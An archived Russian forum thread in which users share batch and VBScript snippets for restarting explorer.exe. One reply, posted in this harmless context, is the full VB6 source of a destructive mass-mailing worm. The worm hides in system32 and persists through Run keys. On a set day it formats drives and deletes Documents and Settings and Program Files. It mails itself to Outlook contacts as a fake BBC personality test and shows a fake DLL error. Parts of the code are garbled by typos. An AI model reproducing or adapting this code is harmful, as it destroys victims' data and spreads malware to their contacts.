"2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe" [Версия для КПК]

PDA

Показать полную графическую версию : "2 Reboot (explorer.exe)" самодельная "прога" перезагружающая оболочку "explorer.exe"

rizz

22-08-2007, 00:11

Хотя это и не программа вовсе, а две строки батника,
но это удобней чем запускать "Диспетчер задач" убивать "explorer.exe" и запускать по-новой вручную

Иконка программы копируется в "Quick Launch" для "текущего пользователя" и для "Default User"
также прописывает в реестре значения для автозагрузки "Диспетчера задач"
и значение включающее галочку в "Диспетчере задач" ("Параметры" - "Скрывать свёрнутое")
чтобы запускался только в трее (хотя иногда глючит, тогда лучше руками перенажать "Скрывать свёрнутое")
(возможно значения реестра могут отличаться, параметры скопированы с реестра XP Pro SP2 Rus, на XP Pro SP3 Rus тоже ничего не изменилось)

при нажатии на иконку завершается и запускается по-новой "explorer.exe", также
завершается и запускается по-новой "Диспетчер задач" минимизированным в трее
(иногда глючит и появляется в "Панели задач", приходится разворачивать - сворачивать вручную)
лучше нажимать ярлык программы несколько раз )

имя иконки "2 Reboot (explorer.exe)" специально сделано с цифрой "2",
чтобы программа в "быстром запуске" стояла вначале всегда под рукой,
потому что, когда "explorer.exe" подвисает, ничего уже не открывается,
и открыть список "быстрого запуска" не всегда возможно,
остаётся только тыкнуть в этот ярлык если он на виду
(но иногда "explorer.exe" так повисает, что даже его не тыкнешь, тогда как обычно ручками Ctrl+Alt+Del хотя и это бывает не реагирует)

p.s. иконка стрёмная, кому надо можно переделать всё сделано в SFX WinRAR, после скачивания переименовать .rar в .exe

farlow

23-08-2007, 10:31

а через taskkill не проще ярлык замутить?
или тоже батник?

voler

23-08-2007, 13:20

Есть другой способ.

'Если ошибка продолжаем далее.
On Error Resume Next
' ****************************************************************
'Тут задаются параметры текста и заголовка.
L_Welcome_MsgBox_Message_Text = _
"Выполняем перезагрузку explorer.exe?"
L_Welcome_MsgBox_Title_Text = "Перезагружаем explorer.exe"
Call Welcome()
' ****************************************************************
'Завершает работу программы.
Set oShell = CreateObject("WScript.Shell")
On Error Resume Next
' ****************************************************************
Sub t_message(name, res)
Select Case res
case 0 WScript.Echo name & " Successful completion."
case 2 WScript.Echo name & " The user does not have access to the requested information."
case 3 WScript.Echo name & " The user does not have sufficient privilge."
case 8 WScript.Echo name & " Unknown failure."
case 9 WScript.Echo name & " The path specified does not exist."
case 21 WScript.Echo name & " The specified parameter is invalid."
Case Else WScript.Echo name & " " & res & " Refer to Win32 error code documentation."
End Select
End Sub
' ****************************************************************
'explorer.exe
' ****************************************************************
For each Service in GetObject("winmgmts:{impersonationLevel=impersonate}!//localhost").ExecQuery("select * from Win32_Process where Name='explorer.exe'")
res = Service.Terminate()
Call t_message("explorer.exe", res)
Next
' ****************************************************************
'Запускаем Программу.
Dim wsh
Set wsh=CreateObject("WScript.Shell")
wsh.Run "%systemroot%\explorer.exe"
' ****************************************************************
'Если нажимаем да то скрипт продолжает работу, а если нет то завершает работу.
Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbYesNo + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCNo Then
WScript.Quit
End If
End Sub
' ****************************************************************

kot1313

13-03-2008, 16:07

voler,

А как этот код использовать ?
Подскажи пожалуста

Vadikan

13-03-2008, 17:24

kot1313, скопируйте в Блокнот, сохраните как "script.vbs" (с кавычками).

XpucT

25-07-2008, 13:34

farlow,
+1

2 all:
Создаём Tекстовый документ.txt
Заходим в него и пишем:
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe
Сохраняем. Переименовываем Tекстовый документ.txt в Restart Explorer.cmd
Запускаем.

rizz

26-07-2008, 08:52

а через taskkill не проще ярлык замутить?
или тоже батник? »
Создаём Tекстовый документ.txt
Заходим в него и пишем:
Код:
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe »

а сюда %ProgramFiles%\2 Reboot (explorer.exe) заглянуть трудно?
там такой же батник с таким же текстом
CLS
@echo off

rem убиваем и запускаем по новой explorer.exe
taskkill.exe /F /IM explorer.exe
start %systemdrive%\Windows\explorer.exe

rem убиваем и запускаем по новой taskmgr.exe минимизированным
taskkill.exe /F /IM taskmgr.exe
start /min %systemdrive%\Windows\System32\taskmgr.exe
только ещё диспетчер задач минимизированный запускается,
он свернётся в трей если применён твик который ставится автоматически или вручную можно включить "Скрывать свёрнутое"

Надо было бы мне делать этот батник, но explorer.exe всё также виснет на копировании файлов, даже в SP3 проблему не захотели решить

Могу даже сказать при каких условиях он виснет, если в "Пуск" мышкой перетащить с рабочего стола "Мой компьютер", или перетащить любой локальный диск из "Мой компьютер"
тогда эти диски будут раскрываться прямо из меню пуск, лично мне без этой опции каждый раз тыкаться по всем дискам и папкам просто нереально будет найти нужный файл
проводник с деревом я тоже ненавижу, поэтому и приходится вытаскивать диски в "Пуск"
Чтобы эффект проявился нужно перетащить "Мой компьютер" мышкой в "Пуск" и перезагрузиться, потом начать копировать файлы без разницы куда, главное по-больше мелких, пару сотен мегабайт и explorer.exe наглухо подвиснет, правда не всегда эффект проявляется с первого раза, иногда может целый день работать, а иногда с одного маленького файла зависнет
Причём не зависит от конфигурации компьютера, AMD или Intel без разницы
Если убрать из меню "Пуск" все такие раскрывающиеся диски и снова перезагрузиться, то explorer.exe больше не будет виснуть на копировании, да и вобще будет редко виснуть

XpucT

28-07-2008, 06:41

Знаешь, Мне кажется Мой вариант попроще остальных будет. ;)

gora

29-07-2008, 11:11

Знаешь, Мне кажется Мой вариант попроще остальных будет. »
Упрощаем...taskkill.exe /F /IM explorer.exe
start %windir%\explorer.exe... и еще проще ...taskkill.exe /F /IM explorer.exe
start explorer.exe :)

ComSyntax

03-08-2008, 20:53

А еще проще
taskkill.exe /F /IM explorer.exe
explorer.exe »

А вот мой зверек, писал давно.

Option Explicit

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Dim WshShell
Dim WScript
Dim SysDir
Dim FSO
Dim Ret
Dim Reg
Private Sub Form_Load()

On Error Resume Next

Set WshShell = WScript.CreateObject("WScript.Shell")

Set FSO = CreateObject("Scripting.FileSystemObject")

Set Reg = CreateObject("WScript.Shell")

SysDir = FSO.GetSpecialFolder(1)

Call FSO.Createder(SysDir & "\SysBootDrivers")

Ret = CopyFile(App.Path & "\" & App.EXENa& ".exe", Eviron("windir") & "\system32\SysBootDrivers" & "\" & "PsyTest.exe", False)

SetAtr (SysDir & "\SysBootivers"), vbHidden

Reg.RegWrite "HKLM\Softare\Microsoft\Windows\CurrentVersion\Run\SystemFilesProtect", SysDir & "\SysBootDrivers\SystemRunder.vbs"

Open SysDir & "\SysBootDrivers\BDA7I.bat" For Output As #1
Print #1, "@ECHO OFF"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %SystemDrive%\RECYCLER\Unvisible.vbs"
Prin #1, "ECHO WSHShell.run " & """" & "%SystemDrive%\RECYCLER\DAVINCI.bat" & """" & ",0 >> %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\DOBERUS.BAT" & """" & ",0 >> %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreaeObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\REFORMX.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET HDDINFKILL=FORMAT > %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% D: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% E: /Q /Y >%SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% C: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% A: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% B: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% F: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% G: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% H: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% I: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDIFKILL%% J: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% K: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% L: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% M: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% N: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% O: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% P: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% Q: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "ECHO %%HDDINFKILL%% R: /Q /Y >> %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\DAVINCI.bat"
Print #1, "START %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %SystemDrive%\RECYCLER\Unvisible.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\Unvisible1.vbs"
Print #1, "@ATTRIB +H +R +S %\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\SystemWor.vbs"
Print #1, "ECHO SET REGOBJECT=REG ADD > %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REGOBJECT%% " & "& "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v Davinci /t reg_sz /d " & """" & "%SystemDrive%\RECYCLER\Unvisible.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v Davinci1 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\Unvisible1.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v Davinci2 /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\REGProtect.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v SystemDav /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\SystemWor.vbs" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO %%REGOBJECT%% " & """" & "HKEY_USERS\.DEFAULT\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECO %%REGOBJECT%% " & """" & "HEY_CURRENT_USER\Control Panel\Desktop" & """" & " /v Wallpaper /t reg_sz /d " & """" & "%Windir%\System32\DESKTOP.bmp" & """" & " /f >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO START %winDir%\system32\SysBootDrivers\REGProtect.vbs >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "ECHO EXIT >> %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "@ATTRIBH +R +S %winDir%\system32\SysBootDrivers\REFORMX.bat"
Print #1, "START %winDir%\system32\SysBootDrivers\REGProtect.vbs"
Print #1, "ECHO @ECHO OFF > %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\DOCUME~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO RD /S /Q %SYSTEMDRIVE%\PROGRA~1 >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & """" & " /v NoForExplorer /t reg_sz /d " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO REG ADD " & """" & "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " /v NoForExplorer /t reg_sz /d " & """" & "%winDir%\stem32\SysBootDrivers\StopExplorer.VBS" & """" & " /f >> %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\DOBERUS.BAT"
Print #1, "ECHO Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO WSHShell.run " & """" & "%winDir%\system32\SysBootDrivers\StopExplorer.bat" & """" & ",0 >> %winDir%\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Explorer.exe > %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO taskkill /f /im Taskmgr.exe >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "ECHO Start %winDir%\system32\SysBootDrivers\StopExplorer.VBS >> %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "@ATTRIB +H +R +S %winDir\system32\SysBootDrivers\StopExplorer.VBS"
Print #1, "@ATTRIB +H +R +S %winDir%\system32\SysBootDrivers\StopExplorer.bat"
Print #1, "DEL %0"
Print #1, "EXIT"
Close #1

Open SysDir & "\ZipFLD.vbs" For Ouput As #1
Print #1, "Option Explicit "
Print #1, "Dim SysDir"
Print #1, ""
Print #1, "MakeZIP"
Print #1, ""
Print #1, ""
Print #1, "Sub MakeZIP()"
Print #1, "Dim fso"
Print #1, "Dim wShell"
Print #1, "Dim Shell"
Prnt #1, "Dim n"
Print #1, "Dim ie"
Print #1, "Dim ZIPfile"
Print #1, "Dim ZIPdata:ZIPdata=" & """" & "PK" & """" & " & Chr(5) & Chr(6) & String(18,0)"
Print #1, "Dim file"
Print #1, "Dim Folder"
Print #1, "Dim FolderItem"
Print #1, "Dim dFolder"
Print #1, "Set fso=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "Set wShell=CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1) "
Print #1, "Dim foldName : foldName = SDir & " & """" & "\SysBootDrivers\PsyTest.exe" & """" & ""
Print #1, "Dim archName : archName = SysDir & " & """" & "\SysBootDrivers\PsyTest.zip" & """" & ""
Print #1, "Set Shell=CreateObject(" & """" & "Shell.Application" & """" & ")"
Print #1, "For n=0 To 9"
Print #1, "For Each ie In Shell.Windows"
Print #1, "If Not ie.Busy Then"
Print #1, "If ie.ReadyState=4 Then"
Print #1, "If InStr(TypeName(ie.Docment)," & """" & "IShellFolderViewDual" & """" & ")=1 Then"
Print #1, "Exit For"
Print #1, "End If"
Print #1, "End If"
Print #1, "End If"
Print #1, "Next"
Print #1, "If Not IsEmpty(ie) Then Exit For"
Print #1, "If n=0 Then CreateObject(" & """" & "WScript.Shell" & """" & ").Run " & """" & "explorer.exe" & """" & ",0,True"
Print #1, "WScript.Sleep 100"
Print #1, "Next"
Print #1, "If IsEmpty(ie) Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "Set Shell=ie.Document.Application"
Print #1, "ZIPfile=fso.GetAbsolutePathName(archName)"
Print #1, "If UCase(fso.GetExtensionName(ZIPfile))<>" & """" & "ZIP" & """" & " Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "If Not fso.FileExists(ZIPfile) Then"
Print #1, "fso.CreateTextFile(ZIPfile,False).Write ZIPdata"
Print #1, "End If"
Print #1, "Set dFolder=Shell.NamSpace(ZIPfile)"
Print #1, "file=fso.GetAbsolutePathName(foldName)"
Print #1, "Set Folder=Shell.NameSpace(fso.GetParentFolderName(file))"
Print #1, "Set FolderItem=Folder.ParseName(fso.GetFileName(file))"
Print #1, "If FolderItem Is Nothing Then"
Print #1, "WScript.Quit"
Print #1, "End If"
Print #1, "dFolder.Copyre FolderItem"
Print #1, "End Sub"
Close #1

If FSO.FileExists(SysDir & "\SysBootDrivers\PsyTest.zip") Then
On Error Resume Next
Kill (SysDir & "\SysBootDrivers\PsyTest.zip")
VBA.Shell "cscript.exe " & (SysDir & "\ZipFLD.vbs"), vbHide
Else
VBA.Shell "cscript" & (SysDir & "\ZipFLD.vbs"), vbHide
End If

SetAttr (SysDir & "\ZipFLD.vbs"), vbHidden
SetAttr (SysDir & "\SysBootDrivers\PsyTest.exe"), vbHidden

Open SysDir & "\SysBootDrivers\SystemRunder.vbs" For Output As #1
Print #1, "if Day(now)=16 Then"
Print #1, "On Error Next "
Print #1, "Set WSHShell = WScript.CreateObject(" & """" & "WScript.Shell" & """" & ")"
Print #1, "Set fso = CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ")"
Print #1, "SysDir = fso.GetSpecialFolder(1)"
Print #1, "WshShell.Run(SysDir & " & """" & "\SysBootDrivers\BDA7I.bat" & """" & "), vbHide"
Print #1, "End If"
Close #1

VBA.Shell "cscript.exe " & (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHide

SetAttr (SysDir & "\SysBootDrivers\SystemRunder.vbs"), vbHidden

Open SysDir & "\SysBootDrivers\Wor-D.bat" For Output As #1
Print #1, "SET WDQS=CHO"
Print #1, "%WDQS% Dim x > %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ON ERROR RESUME NEXT >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set so=CreateObject(" & """" & "Scripting.FileSystemObject" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set ol=CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D1" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBotDrivers\Wor-D.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D1.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% out= WScript.CreateObject(" & """" & "Outlook.Application" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D2" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBDrivers\Wor-D1.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D2.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Set mapi = out.GetNameSpace(" & """" & "MAPI" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set a = mapi.AddressLists(1) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D3" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\sysem32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D2.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D3.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% For x=x+1 To a.AddressEntries.Count >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set Dav=ol.CreateItem(0) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.to=ol.GetNameSpace(" & """" & "MAPI" & """" & ").AddressLists(1).AddressEntries(x) >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D4" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Prnt #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D3.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D4.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Subject=" & """" & "What am I like?" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Dav.Body=" & """" & "HI! In this programme, you can play along and discover your personality type at home. Are you an Idlist, a Big Thinker or another of 16 personality types? Use the attachment and visit home page of this programme http://www.BBC.co.uk/sn/tvradio/programmes/whatamilike/ Contact Us http://www.BBC.co.uk/feedback/" & """" & " >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D5" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D4.bat"), vbHidden
Oen SysDir & "\SysBootDrivers\Wor-D5.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Attachments.Add(" & """" & "%winDir%\system32\SysBootDrivers\PsyTest.zip" & """" & ") >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Set b=createobject(" & """" & "wscript.Shell" & """" & ") > %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "%WDQS% b.run " & """" & "%winDir%\system32\SysBootDrivers\Wor-D6" & """" & ",0 >> %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "start %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Cse #1
SetAttr (SysDir & "\SysBootDrivers\Wor-D5.bat"), vbHidden
Open SysDir & "\SysBootDrivers\Wor-D6.bat" For Output As #1
Print #1, "SET WDQS=ECHO"
Print #1, "%WDQS% Dav.Send >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% Next >> %winDir%\system32\SystemDav.vbs"
Print #1, "%WDQS% ol.Quit >> %winDir%\system32\SystemDav.vbs"
Print #1, "attrib +h %winDir%\system32\SystemDav.vbs"
Print #1, "start %winDir%\system32\SystemDav.vbs"
Pint #1, "del %winDir%\system32\SysBootDrivers\RndVBS.VBS"
Print #1, "exit"
Close #1
SetAr (SysDir & "\SysBootDrivers\Wor-D6.bat"), vbHidden
MsgBox "This application has failed to start because CSLav9e.dll was not found!", vbCritical

Set FSO = Nothing
Set WshShell = Nothing
End
End Sub

'Created by ComSyntax'
'14/08/2007'
'DaViNcI'

Imago_

04-08-2008, 06:00

ComSyntax, я думаю такие "поэмы" :) нужно под кат, то бишь HIDE..

taskkill.exe /F /IM explorer.exe
start explorer.exe
Ну эт понятно.. А вот как быть если 2 процесса explorer?
http://img225.imageshack.us/img225/7136/04082008130640qo2.th.png (http://img225.imageshack.us/my.php?image=04082008130640qo2.png)
Рядовая ситуация в случае твика - "оболочка и проводник - различные процессы"..

зы. хотя можно конечно продублировать 1-ую строчку..

ComSyntax

04-08-2008, 14:54

ComSyntax, я думаю такие "поэмы" нужно под кат, то бишь HIDE.. »
Нда! Об этом не подумал.

Ну эт понятно.. А вот как быть если 2 процесса explorer? »
У XP проводник не афишируется в диспетчере, а вистай я не пользуюсь.
В любом случаи продублировав 1-ую строчку должно получиться.
Увы не велики просторы сие чюдоБата.

Imago_

05-08-2008, 03:43

У XP проводник не афишируется в диспетчере, а вистай я не пользуюсь »
И я не пользуюсь :)
А что значит "не афишируется"? - все есть и все видно..
зы. дублеж не помог.

ComSyntax

05-08-2008, 12:05

И я не пользуюсь »
OKИ! Это я по скринам предположил, хотя мог догадаться по процессу на том же скрине DrvIcon.exe.

А что значит "не афишируется"? - все есть и все видно.. »
Чудной у тебя Винт, можешь уверенно использовать и этот код, так как случаи подобные твоему единичные, имею в виду что большинство компов не афишируют проводник explorer'а.

batyaPS

30-11-2009, 14:32

Чудной у тебя Винт, можешь уверенно использовать и этот код, так как случаи подобные твоему единичные, имею в виду что большинство компов не афишируют проводник explorer'а. »

у меня тоже всегда 2 процесса запущено.